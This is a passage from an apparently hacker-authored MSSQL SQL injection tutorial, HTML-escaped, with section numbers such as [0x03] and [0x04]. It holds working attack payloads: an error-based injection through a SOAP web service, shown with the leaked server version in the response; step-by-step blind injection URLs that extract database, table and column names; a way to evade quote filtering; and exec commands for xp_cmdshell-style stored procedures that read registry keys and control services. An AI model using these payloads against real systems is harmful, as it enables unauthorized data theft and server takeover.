xmlns:xsd=&quot;http://www.w3.org/2001/XMLSchema&quot;&amp;gt;&lt;soap:body&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;getuserinforesponse xmlns=&quot;http://tempuri.org/&quot;&gt;&lt;getuserinforesult&gt;&lt;erroroccured&gt;true&lt;/erroroccured&gt;&lt;errorstr&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; System.Data.OleDb.OleDbException: Unclosed quotation mark after the character string &#39;&#39;.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Incorrect syntax near &#39;81&#39;.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; at System.Data.OleDb.OleDbDataReader.ProcessResults(O leDbHResult hr)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; at System.Data.OleDb.OleDbDataReader.NextResult()&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; at System.Data.OleDb.OleDbCommand.ExecuteReaderIntern al(CommandBehavior behavior, String method)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; at System.Data.OleDb.OleDbCommand.ExecuteReader(Comma ndBehavior behavior) at Service.GetUserInfo(String username, String password)&lt;/errorstr&gt;&lt;sqlquery&gt;SELECT * FROM users WHERE username=&#39;admin&#39;&#39; AND password=&#39;81dc9bdb52d04dc20036dbd8313ed055&#39;&lt;/sqlquery&gt;&lt;id&gt;-1&lt;/id&gt;&lt;joindate&gt;0001-0101T00:00:00&lt;/joindate&gt;&lt;/getuserinforesult&gt;&lt;/getuserinforesponse&gt;&lt;/soap:body&gt;&lt;/soap:envelope&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Okey, The SOAP respond return error message like that. We can use simple techiques for SQLi that we showed you&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; in section [0x02b] - ODBC Error Message Attack with &quot;CONVERT&quot;, Let&#39;s use this SQLi:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; admin&#39; and 1=convert(int,@@version)--&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; [SOAP Request/Respond]----------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; *** Request ***&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; POST /webservice/service.asmx HTTP/1.0&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; MS Web Services Client Protocol 2.0.50727.1433)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Content-Type: text/xml; charset=utf-8&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; SOAPAction: &quot;http://tempuri.org/GetUserInfo&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Host: testcwh.cwh.net&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Content-Length: 384&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;soap:envelope br=&quot;br&quot; xmlns:soap=&quot;http://schemas.xmlsoap.org/soap/envelope/&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot; xmlns:xsd=&quot;http://www.w3.org/2001/XMLSchema&quot;&amp;gt;&lt;soap:body&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;getuserinfo xmlns=&quot;http://tempuri.org/&quot;&gt;&lt;username&gt;admin&#39; and 1=convert(int,@@version)--&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/username&gt;&lt;password&gt;1234&lt;/password&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/getuserinfo&gt;&lt;/soap:body&gt;&lt;/soap:envelope&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; *** Response ***&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; HTTP/1.1 200 OK&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Date: Wed, 28 Jan 2009 15:59:17 GMT&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Server: Microsoft-IIS/6.0&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; X-Powered-By: ASP.NET&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; X-AspNet-Version: 2.0.50727&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Cache-Control: private, max-age=0&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Content-Type: text/xml; charset=utf-8&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Content-Length: 1266&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Connection: close&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; X-Junk: xxxxxxxxxxx&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;soap:envelope br=&quot;br&quot; xmlns:soap=&quot;http://schemas.xmlsoap.org/soap/envelope/&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot; xmlns:xsd=&quot;http://www.w3.org/2001/XMLSchema&quot;&amp;gt;&lt;soap:body&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;getuserinforesponse xmlns=&quot;http://tempuri.org/&quot;&gt;&lt;getuserinforesult&gt;&lt;erroroccured&gt;true&lt;/erroroccured&gt;&lt;errorstr&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; System.Data.OleDb.OleDbException: Conversion failed when converting the nvarchar value &#39;Microsoft SQL Server&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 2005 - 9.00.3042.00 (Intel X86)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Feb 9 2007 22:47:07&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Copyright (c) 1988-2005 Microsoft Corporation&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Express Edition on Windows NT 5.2 (Build 3790: Service Pack 1)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &#39; to data type int.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; at System.Data.OleDb.OleDbDataReader.ProcessResults(O leDbHResult hr)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; at System.Data.OleDb.OleDbDataReader.NextResult()&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; at System.Data.OleDb.OleDbCommand.ExecuteReaderIntern al(CommandBehavior behavior, String method)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; at System.Data.OleDb.OleDbCommand.ExecuteReader(Comma ndBehavior behavior) at Service.GetUserInfo(String username, String password)&lt;/errorstr&gt;&lt;sqlquery&gt;SELECT * FROM users WHERE username=&#39;admin&#39; and 1=convert(int,@@version)--&#39; AND password=&#39;81dc9bdb52d04dc20036dbd8313ed055&#39;&lt;/sqlquery&gt;&lt;id&gt;-1&lt;/id&gt;&lt;joindate&gt;0001-01-01T00:00:00&lt;/joindate&gt;&lt;/getuserinforesult&gt;&lt;/getuserinforesponse&gt;&lt;/soap:body&gt;&lt;/soap:envelope&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; [End]---------------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; W00t!! W00t!!, We can enumerate MSSQL Version : Microsoft SQL Server 2005 - 9.00.3042.00 (Intel X86).&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Then we can use SQLi techniques that we mention above (Dump tables, columns, data, Etc).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[0x03] - MSSQL Blind SQL Injection Attack&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Here we have four parts&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; [0x03a] - How to Test sites that are Vulnerable in Blind SQL Injection&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; [0x03b] - Determine data through Blind SQL Injection&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; [0x03c] - Exploit Query for get Table name&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; [0x03d] - Exploit Query for get Column name&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; __________________&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Introduction&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; In some case, Using normal sql injection is not work. Blind sql injection is another method which may help you.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; The important point for blind sql injection is the difference between the valid and invalid query result.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; You have to inject a statement to make query valid or invalid and observe the response.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Just because you don&#39;t see any results, doesn&#39;t mean that your injected SQL is not being executed !!&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; __________________&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; [0x03a] - How to Test sites that are vulnerable in Blind SQL Injection&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; We assume that http://www.example.com/page.asp?id=1 is normal url to open web page.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; You can try to inject a statement like this&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; http://www.example.com/page.asp?id=1 and 1=1&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; and&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; http://www.example.com/page.asp?id=1 and 1=2&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; If the results from these requests are different, it will be a good signal for you.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; This website may fall to blind sql injection vulnerability. When you put &quot;id=1 and 1=1&quot;, it means that the condition is true so, the response must be normal.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; But the parameter &quot;id=1 and 1=2&quot; indicates that the condition is false&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; and if the webmaster does not provide a proper filter, the response absolutely differs from previous.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; __________________&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; [0x03b] - Determine data through Blind SQL Injection&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; By using blind technique, you have to spend more time than normal injection.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; You can obtain only one character while you send several queries to server.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; We will give you an example of querying the first character of database name.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; We assume that database name is member. Therefore, the first character is &quot;m&quot; which the ascii value is 109. (At this point, we assume that you know ascii code)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Ok, first, we have to know that the results from requests have only 2 forms.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 1. Valid query result likes http://www.example.com/page.asp?id=1 and 1=1&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 2. Invalid query result likes http://www.example.com/page.asp?id=1 and 1=2&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; The following steps are up to each person. You idea may be different from our idea in order to pick ascii code&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; to test query.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Code: (Click here to copy code to clipboard)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar (8000)),1,1)),0)&amp;gt;90&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; In this situation, the result will be valid query result like http://www.example.com/page.asp?id=1 and 1=1&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; (because the first character of database name is &quot;m&quot; which ascii code is 109). Then, we try&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Code: (Click here to copy code to clipboard)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)&amp;gt;120&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; It is surely that the result will like http://www.example.com/page.asp?id=1 and 1=2 (because 109 absolutely&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; less than 120).&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; next, we try&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Code: (Click here to copy code to clipboard)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar (8000)),1,1)),0)&amp;gt;105&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; The result is a valid query result and at this point, the ascii value of first character of database name is&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; between 105 and 120.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; So, we try&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Code: (Click here to copy code to clipboard)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)&amp;gt;112&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ===&amp;gt; invalid query result&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Code: (Click here to copy code to clipboard)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)&amp;gt;108&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ===&amp;gt; valid query result&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Code: (Click here to copy code to clipboard)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar (8000)),1,1)),0)&amp;gt;110&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ===&amp;gt; invalid query result&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Code: (Click here to copy code to clipboard)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar (8000)),1,1)),0)&amp;gt;109&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ===&amp;gt; invalid query result&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; You see that the first character of database name has an ascii value which is greater than 108&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; but is not greater than 109. Thus, we can conclude that the ascii value is equal to 109.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; You can prove with:&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Code:&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar (8000)),1,1)),0)=109&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; We sure that the result is like the result of http://www.target.com/page.php?id=1 and 1=1 .&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; The rest which you have to do is to manipulate some queries to collect your preferred information.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; In this tutorial, we propose some example queries in order to find the names of tables and columns in the database.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; __________________&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; [0x03c] - Exploit query for get Table name&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; In order to get table name, we can use above method to obtain each character of table name.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; The only thing that we have to do is to change query to retrieve table name of current database.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; As MSSQL does not have limit command. Therefore, the query is a bit complicate.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Code: (Click here to copy code to clipboard)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT TOP 1 LOWER(name)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 1 LOWER(name) FROM sysObjects WHERE xtYpe=0x55)) AS varchar(8000)),1,1)),0)&amp;gt;97&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; The above query is used to determine the first character of first table in current database. If we want to find&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; second character of first table, we can do by following request:&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Code: (Click here to copy code to clipboard)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT TOP 1 LOWER(name)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 1 LOWER(name) FROM sysObjects WHERE xtYpe=0x55)) AS varchar(8000)),2,1)),0)&amp;gt;97&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; We change the second parameter of substring function from 1 to 2 in order to specify preferred position of&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; character in table name.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Thus, if we want to determine other positions, we require only changing second parameter of substring function.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; In case of other tables, we can find other table names by changing the second select&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; from &quot;SELECT TOP 1&quot; to be &quot;SELECT TOP 2&quot; , &quot;SELECT TOP 3&quot; and so on. for example,&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Code: (Click here to copy code to clipboard)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT TOP 1 LOWER(name)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 2 LOWER(name) FROM sysObjects WHERE xtYpe=0x55)) AS varchar(8000)),1,1)),0)=97&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; The above request will determine the first character of the second table name in current database.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; __________________&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; [0x03d] - Exploit query for get Column name&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; After we obtain table names, the next target information is absolutely column names.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Code: (Click here to copy code to clipboard)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT p.name FROM (SELECT (SELECT COUNT(i.colid)rid FROM syscolumns i WHERE(i.colid&amp;lt;=o.colid) AND id=(SELECT id FROM sysobjects WHERE name=&#39;tablename&#39;)) x,name FROM syscolumns o WHERE id=(SELECT id FROM sysobjects WHERE name=&#39;tablename&#39;)) as p WHERE(p.x=1))AS varchar (8000)),1,1)),0)&amp;gt;97&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; In order to circumvent from magic quote filtering, you have to change &#39;tablename&#39;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; to be the form of concatenating char() command. for example, if table name is &#39;user&#39;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; when we put &#39;user&#39; in the query, &#39; may be filtered and our query will be wrong.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; The solution is convert &#39;user&#39; to be char(117)+char(115)+char(101)+char(114).&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; So, the query in where cluase changes from &quot;Where name=&#39;user&#39;&quot; to &quot;Where name=char(117)+char(115)+char(101)+char(114)&quot;.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; In this case, we can circumvent magic quote filtering. The result from the above request is the first character&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; of the first column name of specific table.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; When we want to find the second character of the first column, we can use the same method as getting table&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; name, by changing the second parameter of&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; substring function.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Code: (Click here to copy code to clipboard)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT p.name FROM (SELECT (SELECT COUNT(i.colid)rid FROM syscolumns i WHERE(i.colid&amp;lt;=o.colid) AND id=(SELECT id FROM sysobjects WHERE name=&#39;tablename&#39;)) x,name FROM syscolumns o WHERE id=(SELECT id FROM sysobjects WHERE name=&#39;tablename&#39;)) as p WHERE(p.x=1))AS varchar (8000)),2,1)),0)&amp;gt;97&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; The above request is used to determine the second character of the first column name in specific table.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; In case of determining other columns, we can do by changing p.x value from 1 to 2,3,4 and so on. such as,&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Code: (Click here to copy code to clipboard)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT p.name FROM (SELECT (SELECT COUNT(i.colid)rid FROM syscolumns i WHERE(i.colid&amp;lt;=o.colid) AND id=(SELECT id FROM sysobjects WHERE name=&#39;tablename&#39;)) x,name FROM syscolumns o WHERE id=(SELECT id FROM sysobjects WHERE name=&#39;tablename&#39;)) as p WHERE (p.x=2))AS varchar (8000)),1,1)),0)&amp;gt;97&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; The first character of the second column name in specific table can be determined by the above request.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; __________________&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[0x04] - More Dangerous SQL Injection Attack&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; In this part we have 3 topic&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; [0x04a] - Dangerous from Extended Stored Procedures&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; [0x04b] - Advanced SQL Injection Techniques&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; [0x04c] - Mass MSSQL Injection Worms&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; __________________&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Introduction&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; In Chapter [0x02] and [0x03], We described about retrieving any useful data that was extracted from database via SQL Injection techniques - for example, by performing a UNION Attack, Returning data in an error message and Blind injection.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; This chapter will not show only an data extraction but command execution and sql worms as well.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; __________________&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; [0x04a] - Dangerous from Extended Stored Procedures&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; xp_cmdshell - Executes a given command on the MSSQL Operation system&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; - Available by default on all MSSQL (Disabled on MSSQL 2005)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; - Can only be executed by &#39;sa&#39; and any other users with &#39;sysadmin&#39; privileges&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; xp_regxxx - Read/Write registry keys, potentially including the Read SAM file&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; xp_regread&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; xp_regwrite&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; xp_regdeletekey&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; xp_regdeletevalue&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; xp_regenumkeys&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; xp_regenumvalues&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; [Example for determines what null-session shares are available on the server]&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; exec xp_regread HKEY_LOCAL_MACHINE,&#39;SYSTEM\CurrentControlSet\Servi&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ces\lanmanserver\parameters&#39;,&#39;nullsessionshares&#39;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; xp_servicecontrol - Allows to Manage Services&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Example Command :&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Code: (Click here to copy code to clipboard)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; --------------------------------------------------------------------&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; exec master..xp_servicecontrol &#39;start&#39;,&#39;schedule&#39;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; exec master..xp_servicecontrol &#39;start&#39;,&#39;server&#39;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; --------------------------------------------------------------------&lt;br 